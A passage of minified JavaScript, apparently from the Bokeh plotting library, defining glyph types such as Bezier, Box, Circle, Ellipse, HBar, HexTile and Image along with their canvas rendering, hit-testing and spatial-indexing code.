l.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx0,l=i.scy0,h=i.scx1,u=i.scy1;if(this.visuals.line.doit)for(var c=0,_=e;c<_.length;c++){var p=_[c];isNaN(n[p]+r[p]+o[p]+s[p]+a[p]+l[p]+h[p]+u[p])||(t.beginPath(),t.moveTo(n[p],r[p]),t.bezierCurveTo(a[p],l[p],h[p],u[p],o[p],s[p]),this.visuals.line.set_vectorize(t,p),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.BezierView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Bezier\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx0\\\",\\\"cy0\\\"],[\\\"cx1\\\",\\\"cy1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Bezier=a).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143),f=t(9),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_box=function(t){for(var e=[],i=0;i<t;i++){var n=this._lrtb(i),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&e.push({minX:Math.min(r,o),minY:Math.min(s,a),maxX:Math.max(o,r),maxY:Math.max(s,a),i:i})}return new l.SpatialIndex(e)},e.prototype._render=function(t,e,i){for(var n=i.sleft,r=i.sright,o=i.stop,s=i.sbottom,a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+o[h]+r[h]+s[h])||(this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,h),t.fillRect(n[h],o[h],r[h]-n[h],s[h]-o[h])),this.visuals.line.doit&&(t.beginPath(),t.rect(n[h],o[h],r[h]-n[h],s[h]-o[h]),this.visuals.line.set_vectorize(t,h),t.stroke()))}},e.prototype._clamp_viewport=function(){for(var t=this.renderer.plot_view.frame.bbox.h_range,e=this.renderer.plot_view.frame.bbox.v_range,i=this.stop.length,n=0;n<i;n++)this.stop[n]=Math.max(this.stop[n],e.start),this.sbottom[n]=Math.min(this.sbottom[n],e.end),this.sleft[n]=Math.max(this.sleft[n],t.start),this.sright[n]=Math.min(this.sright[n],t.end)},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=f.create_empty_hit_test_result();return s.indices=o,s},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.BoxView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Box\\\",this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Box=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.XYGlyphView);i.CenterRotatableView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CenterRotatable\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],width:[o.DistanceSpec],height:[o.DistanceSpec]})},t}(r.XYGlyph);(i.CenterRotatable=a).initClass()},function(t,e,i){var n=t(391),r=t(146),M=t(9),o=t(15),h=t(21),s=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){if(null!=this._radius)if(\\\"data\\\"==this.model.properties.radius.spec.units){var t=this.model.properties.radius_dimension.spec.value;switch(t){case\\\"x\\\":this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius);break;case\\\"y\\\":this.sradius=this.sdist(this.renderer.yscale,this._y,this._radius)}}else this.sradius=this._radius,this.max_size=2*this.max_radius;else this.sradius=s.map(this._size,function(t){return t/2})},e.prototype._mask_data=function(){var t,e,i,n,r,o,s,a,l=this.renderer.plot_view.frame.bbox.ranges,h=l[0],u=l[1];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units){var c=h.start,_=h.end;t=this.renderer.xscale.r_invert(c,_),r=t[0],s=t[1],r-=this.max_radius,s+=this.max_radius;var p=u.start,d=u.end;e=this.renderer.yscale.r_invert(p,d),o=e[0],a=e[1],o-=this.max_radius,a+=this.max_radius}else{var c=h.start-this.max_size,_=h.end+this.max_size;i=this.renderer.xscale.r_invert(c,_),r=i[0],s=i[1];var p=u.start-this.max_size,d=u.end+this.max_size;n=this.renderer.yscale.r_invert(p,d),o=n[0],a=n[1]}var f=M.validate_bbox_coords([r,s],[o,a]);return this.index.indices(f)},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=0,a=e;s<a.length;s++){var l=a[s];isNaN(n[l]+r[l]+o[l])||(t.beginPath(),t.arc(n[l],r[l],o[l],0,2*Math.PI,!1),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,l),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,l),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t.sx,g=t.sy,y=this.renderer.xscale.invert(m),b=this.renderer.yscale.invert(g);null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(p=y-this.max_radius,d=y+this.max_radius,f=b-this.max_radius,v=b+this.max_radius):(h=m-this.max_size,u=m+this.max_size,e=this.renderer.xscale.r_invert(h,u),p=e[0],d=e[1],i=[Math.min(p,d),Math.max(p,d)],p=i[0],d=i[1],c=g-this.max_size,_=g+this.max_size,n=this.renderer.yscale.r_invert(c,_),f=n[0],v=n[1],r=[Math.min(f,v),Math.max(f,v)],f=r[0],v=r[1]);var x=M.validate_bbox_coords([p,d],[f,v]),w=this.index.indices(x),k=[];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units)for(var S=0,C=w;S<C.length;S++){var T=C[S];l=Math.pow(this.sradius[T],2),o=this.renderer.xscale.r_compute(y,this._x[T]),h=o[0],u=o[1],s=this.renderer.yscale.r_compute(b,this._y[T]),c=s[0],_=s[1],(a=Math.pow(h-u,2)+Math.pow(c-_,2))<=l&&k.push([T,a])}else for(var A=0,E=w;A<E.length;A++){var T=E[A];l=Math.pow(this.sradius[T],2),(a=Math.pow(this.sx[T]-m,2)+Math.pow(this.sy[T]-g,2))<=l&&k.push([T,a])}return M.create_hit_test_result_from_hits(k)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a,l,h,u=t.sx,c=t.sy,_=this.bounds(),p=_.minX,d=_.minY,f=_.maxX,v=_.maxY,m=M.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){var g=void 0,y=void 0;l=d,h=v,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(g=u-this.max_radius,y=u+this.max_radius,e=this.renderer.xscale.r_invert(g,y),s=e[0],a=e[1]):(o=this.max_size/2,g=u-o,y=u+o,i=this.renderer.xscale.r_invert(g,y),s=i[0],a=i[1])}else{var b=void 0,x=void 0;s=p,a=f,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(b=c-this.max_radius,x=c+this.max_radius,n=this.renderer.yscale.r_invert(b,x),l=n[0],h=n[1]):(o=this.max_size/2,b=c-o,x=c+o,r=this.renderer.yscale.r_invert(b,x),l=r[0],h=r[1])}var w=M.validate_bbox_coords([s,a],[l,h]),k=this.index.indices(w);return m.indices=k,m},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=M.validate_bbox_coords([s,a],[h,u]),_=M.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];M.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=M.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=new Array(a);u[i]=.2*Math.min(Math.abs(o-n),Math.abs(s-r)),this._render(t,[i],{sx:l,sy:h,sradius:u})},e}(r.XYGlyphView);i.CircleView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Circle\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],radius:[o.DistanceSpec,null],radius_dimension:[o.String,\\\"x\\\"]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.properties.radius.optional=!0},t}(r.XYGlyph);(i.Circle=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.EllipseOvalView);i.EllipseView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ellipse\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Ellipse=s).initClass()},function(t,e,i){var n=t(391),r=t(119),S=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.width.units?this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this.sw=this._width,\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sw,s=i.sh,a=i._angle,l=0,h=e;l<h.length;l++){var u=h[l];isNaN(n[u]+r[u]+o[u]+s[u]+a[u])||(t.beginPath(),t.ellipse(n[u],r[u],o[u]/2,s[u]/2,a[u],0,2*Math.PI),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f);\\\"data\\\"==this.model.properties.width.units?(o=v-this.max_width,s=v+this.max_width):(u=d-this.max_width,c=d+this.max_width,e=this.renderer.xscale.r_invert(u,c),o=e[0],s=e[1]),\\\"data\\\"==this.model.properties.height.units?(a=m-this.max_height,l=m+this.max_height):(_=f-this.max_height,p=f+this.max_height,i=this.renderer.yscale.r_invert(_,p),a=i[0],l=i[1]);for(var g=S.validate_bbox_coords([o,s],[a,l]),y=this.index.indices(g),b=[],x=0,w=y;x<w.length;x++){var k=w[x];S.point_in_ellipse(d,f,this._angle[k],this.sh[k]/2,this.sw[k]/2,this.sx[k],this.sy[k])&&(n=this.renderer.xscale.r_compute(v,this._x[k]),u=n[0],c=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),_=r[0],p=r[1],h=Math.pow(u-c,2)+Math.pow(_-p,2),b.push([k,h]))}return S.create_hit_test_result_from_hits(b)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=this.sw[i]/this.sh[i],c=.8*Math.min(Math.abs(o-n),Math.abs(s-r)),_=new Array(a),p=new Array(a);1<u?(_[i]=c,p[i]=c/u):(_[i]=c*u,p[i]=c),this._render(t,[i],{sx:l,sy:h,sw:_,sh:p,_angle:[0]})},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.EllipseOvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EllipseOval\\\"},t}(r.CenterRotatable);(i.EllipseOval=s).initClass()},function(o,t,e){var i=o(391),p=o(9),l=o(15),h=o(24),y=o(33),s=o(49),n=o(48),r=o(59),a=o(14),b=o(22),x=o(32),d=o(44),w=o(130),k=o(181),u=function(r){function t(){var t=null!==r&&r.apply(this,arguments)||this;return t._nohit_warned={},t}return i.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this._nohit_warned={},this.renderer=t.renderer,this.visuals=new s.Visuals(this.model);var e=this.renderer.plot_view.gl;if(null!=e){var i=null;try{i=o(452)}catch(t){if(\\\"MODULE_NOT_FOUND\\\"!==t.code)throw t;a.logger.warn(\\\"WebGL was requested and is supported, but bokeh-gl(.min).js is not available, falling back to 2D rendering.\\\")}if(null!=i){var n=i[this.model.type+\\\"GLGlyph\\\"];null!=n&&(this.glglyph=new n(e.ctx,this))}}},t.prototype.set_visuals=function(t){this.visuals.warm_cache(t),null!=this.glglyph&&this.glglyph.set_visuals_changed()},t.prototype.render=function(t,e,i){t.beginPath(),null!=this.glglyph&&this.glglyph.render(t,e,i)||this._render(t,e,i)},t.prototype.has_finished=function(){return!0},t.prototype.notify_finished=function(){this.renderer.notify_finished()},t.prototype._bounds=function(t){return t},t.prototype.bounds=function(){return this._bounds(this.index.bbox)},t.prototype.log_bounds=function(){for(var t=h.empty(),e=this.index.search(h.positive_x()),i=0,n=e;i<n.length;i++){var r=n[i];r.minX<t.minX&&(t.minX=r.minX),r.maxX>t.maxX&&(t.maxX=r.maxX)}for(var o=this.index.search(h.positive_y()),s=0,a=o;s<a.length;s++){var l=a[s];l.minY<t.minY&&(t.minY=l.minY),l.maxY>t.maxY&&(t.maxY=l.maxY)}return this._bounds(t)},t.prototype.get_anchor_point=function(t,e,i){var n=i[0],r=i[1];switch(t){case\\\"center\\\":return{x:this.scenterx(e,n,r),y:this.scentery(e,n,r)};default:return null}},t.prototype.sdist=function(t,e,i,n,r){var o,s;void 0===n&&(n=\\\"edge\\\"),void 0===r&&(r=!1);var a=e.length;if(\\\"center\\\"==n){var l=b.map(i,function(t){return t/2});o=new Float64Array(a);for(var h=0;h<a;h++)o[h]=e[h]-l[h];s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=e[h]+l[h]}else{o=e,s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=o[h]+i[h]}var u=t.v_compute(o),c=t.v_compute(s);return r?b.map(u,function(t,e){return Math.ceil(Math.abs(c[e]-u[e]))}):b.map(u,function(t,e){return Math.abs(c[e]-u[e])})},t.prototype.draw_legend_for_index=function(t,e,i){},t.prototype.hit_test=function(t){var e=null,i=\\\"_hit_\\\"+t.type;return null!=this[i]?e=this[i](t):null==this._nohit_warned[t.type]&&(a.logger.debug(\\\"'\\\"+t.type+\\\"' selection not available for \\\"+this.model.type),this._nohit_warned[t.type]=!0),e},t.prototype._hit_rect_against_index=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=p.validate_bbox_coords([s,a],[h,u]),_=p.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},t.prototype.set_data=function(t,i,e){var n,r,o,s,a=this.model.materialize_dataspecs(t);if(this.visuals.set_all_indices(i),i&&!(this instanceof w.LineView)){var l={},h=function(t){var e=a[t];\\\"_\\\"===t.charAt(0)?l[t]=i.map(function(t){return e[t]}):l[t]=e};for(var u in a)h(u);a=l}var c=this;if(x.extend(c,a),this.renderer.plot_view.model.use_map&&(null!=c._x&&(n=y.project_xy(c._x,c._y),c._x=n[0],c._y=n[1]),null!=c._xs&&(r=y.project_xsys(c._xs,c._ys),c._xs=r[0],c._ys=r[1]),null!=c._x0&&(o=y.project_xy(c._x0,c._y0),c._x0=o[0],c._y0=o[1]),null!=c._x1&&(s=y.project_xy(c._x1,c._y1),c._x1=s[0],c._y1=s[1])),null!=this.renderer.plot_view.frame.x_ranges)for(var _=this.renderer.plot_view.frame.x_ranges[this.model.x_range_name],p=this.renderer.plot_view.frame.y_ranges[this.model.y_range_name],d=0,f=this.model._coords;d<f.length;d++){var v=f[d],m=v[0],g=v[1];m=\\\"_\\\"+m,g=\\\"_\\\"+g,null!=c._xs?(_ instanceof k.FactorRange&&(c[m]=b.map(c[m],function(t){return _.v_synthetic(t)})),p instanceof k.FactorRange&&(c[g]=b.map(c[g],function(t){return p.v_synthetic(t)}))):(_ instanceof k.FactorRange&&(c[m]=_.v_synthetic(c[m])),p instanceof k.FactorRange&&(c[g]=p.v_synthetic(c[g])))}null!=this.glglyph&&this.glglyph.set_data_changed(c._x.length),this._set_data(e),this.index_data()},t.prototype._set_data=function(t){},t.prototype.index_data=function(){this.index=this._index_data()},t.prototype.mask_data=function(t){return null!=this.glglyph||null==this._mask_data?t:this._mask_data()},t.prototype.map_data=function(){for(var t,e=this,i=0,n=this.model._coords;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=\\\"s\\\"+o,l=\\\"s\\\"+s;if(s=\\\"_\\\"+s,null!=e[o=\\\"_\\\"+o]&&(d.isArray(e[o][0])||d.isTypedArray(e[o][0]))){var h=e[o].length;e[a]=new Array(h),e[l]=new Array(h);for(var u=0;u<h;u++){var c=this.map_to_screen(e[o][u],e[s][u]),_=c[0],p=c[1];e[a][u]=_,e[l][u]=p}}else t=this.map_to_screen(e[o],e[s]),e[a]=t[0],e[l]=t[1]}this._map_data()},t.prototype._map_data=function(){},t.prototype.map_to_screen=function(t,e){return this.renderer.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},t}(n.View);e.GlyphView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Glyph\\\",this.prototype._coords=[],this.internal({x_range_name:[l.String,\\\"default\\\"],y_range_name:[l.String,\\\"default\\\"]})},t.coords=function(t){var e=this.prototype._coords.concat(t);this.prototype._coords=e;for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1];i[s]=[l.NumberSpec],i[a]=[l.NumberSpec]}this.define(i)},t}(r.Model);(e.Glyph=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._index_data=function(){return this._index_box(this._y.length)},e.prototype._lrtb=function(t){var e=Math.min(this._left[t],this._right[t]),i=Math.max(this._left[t],this._right[t]),n=this._y[t]+.5*this._height[t],r=this._y[t]-.5*this._height[t];return[e,i,n,r]},e.prototype._map_data=function(){this.sy=this.renderer.yscale.v_compute(this._y),this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"),this.sleft=this.renderer.xscale.v_compute(this._left),this.sright=this.renderer.xscale.v_compute(this._right);var t=this.sy.length;this.stop=new Float64Array(t),this.sbottom=new Float64Array(t);for(var e=0;e<t;e++)this.stop[e]=this.sy[e]-this.sh[e]/2,this.sbottom[e]=this.sy[e]+this.sh[e]/2;this._clamp_viewport()},e}(r.BoxView);i.HBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HBar\\\",this.prototype.default_view=s,this.coords([[\\\"left\\\",\\\"y\\\"]]),this.define({height:[o.DistanceSpec],right:[o.NumberSpec]}),this.override({left:0})},t}(r.Box);(i.HBar=a).initClass()},function(t,e,i){var n=t(391),r=t(123),f=t(9),o=t(15),a=t(37),s=t(143),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._set_data=function(){var t=this._q.length,e=this.model.size,i=this.model.aspect_scale;if(this._x=new Float64Array(t),this._y=new Float64Array(t),\\\"pointytop\\\"==this.model.orientation)for(var n=0;n<t;n++)this._x[n]=e*Math.sqrt(3)*(this._q[n]+this._r[n]/2)/i,this._y[n]=3*-e/2*this._r[n];else for(var n=0;n<t;n++)this._x[n]=3*e/2*this._q[n],this._y[n]=-e*Math.sqrt(3)*(this._r[n]+this._q[n]/2)*i},e.prototype._index_data=function(){var t,e=this.model.size,i=Math.sqrt(3)*e/2;\\\"flattop\\\"==this.model.orientation?(i=(t=[e,i])[0],e=t[1],e*=this.model.aspect_scale):i/=this.model.aspect_scale;for(var n=[],r=0;r<this._x.length;r++){var o=this._x[r],s=this._y[r];!isNaN(o+s)&&isFinite(o+s)&&n.push({minX:o-i,minY:s-e,maxX:o+i,maxY:s+e,i:r})}return new a.SpatialIndex(n)},e.prototype.map_data=function(){var t,e;t=this.map_to_screen(this._x,this._y),this.sx=t[0],this.sy=t[1],e=this._get_unscaled_vertices(),this.svx=e[0],this.svy=e[1]},e.prototype._get_unscaled_vertices=function(){var t=this.model.size,e=this.model.aspect_scale;if(\\\"pointytop\\\"==this.model.orientation){var i=this.renderer.yscale,n=this.renderer.xscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))/e,s=r/2,a=[0,-o,-o,0,o,o],l=[r,s,-s,-r,-s,s];return[a,l]}var i=this.renderer.xscale,n=this.renderer.yscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))*e,s=r/2,a=[r,s,-s,-r,-s,s],l=[0,-o,-o,0,o,o];return[a,l]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.svx,s=i.svy,a=i._scale,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+a[u])){t.translate(n[u],r[u]),t.beginPath();for(var c=0;c<6;c++)t.lineTo(o[c]*a[u],s[c]*a[u]);t.closePath(),t.translate(-n[u],-r[u]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke())}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o;a<l.length;a++){var h=l[a];f.point_in_poly(e-this.sx[h],i-this.sy[h],this.svx,this.svy)&&s.push(h)}var u=f.create_empty_hit_test_result();return u.indices=s,u},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=f.validate_bbox_coords([s,a],[h,u]),_=f.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype.draw_legend_for_index=function(t,e,i){s.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.HexTileView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HexTile\\\",this.prototype.default_view=l,this.coords([[\\\"r\\\",\\\"q\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.Number,1],aspect_scale:[o.Number,1],scale:[o.NumberSpec,1],orientation:[o.String,\\\"pointytop\\\"]}),this.override({line_color:null})},t}(r.Glyph);(i.HexTile=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(167),s=t(15),c=t(21),l=t(37),_=t(9),a=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.color_mapper.change,function(){return e._update_image()}),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._update_image=function(){null!=this.image_data&&(this._set_data(),this.renderer.plot_view.request_render())},t.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._lrtb(e),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&t.push({minX:r,minY:a,maxX:o,maxY:s,i:e})}return new l.SpatialIndex(t)},t.prototype._lrtb=function(t){var e=this.renderer.xscale.source_range,i=this._x[t],n=e.is_reversed?i-this._dw[t]:i+this._dw[t],r=this.renderer.yscale.source_range,o=this._y[t],s=r.is_reversed?o-this._dh[t]:o+this._dh[t],a=i<n?[i,n]:[n,i],l=a[0],h=a[1],u=o<s?[o,s]:[s,o],c=u[0],_=u[1];return[l,h,_,c]},t.prototype._image_index=function(t,e,i){var n=this._lrtb(t),r=n[0],o=n[1],s=n[2],a=n[3],l=this._width[t],h=this._height[t],u=(o-r)/l,c=(s-a)/h,_=Math.floor((e-r)/u),p=Math.floor((i-a)/c);return{index:t,dim1:_,dim2:p,flat_index:p*l+_}},t.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=_.validate_bbox_coords([n,n],[r,r]),s=this.index.indices(o),a=_.create_empty_hit_test_result();a.image_indices=[];for(var l=0,h=s;l<h.length;l++){var u=h[l];e!=1/0&&i!=1/0&&a.image_indices.push(this._image_index(u,n,r))}return a},t.prototype._set_data=function(){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var t=this.model.color_mapper.rgba_mapper,e=0,i=this._image.length;e<i;e++){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e];var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e];n=c.concat(o),this._height[e]=o.length,this._width[e]=o[0].length}var s=this.image_data[e],a=void 0;null!=s&&s.width==this._width[e]&&s.height==this._height[e]?a=s:((a=document.createElement(\\\"canvas\\\")).width=this._width[e],a.height=this._height[e]);var l=a.getContext(\\\"2d\\\"),h=l.getImageData(0,0,this._width[e],this._height[e]),u=t.v_compute(n);h.data.set(u),l.putImageData(h,0,0),this.image_data[e]=a,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=c.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=c.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(null!=n[c]&&!isNaN(r[c]+o[c]+s[c]+a[c])){var _=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageView=a;var h=function(e){function t(t){return e.call(this,t)||this}return 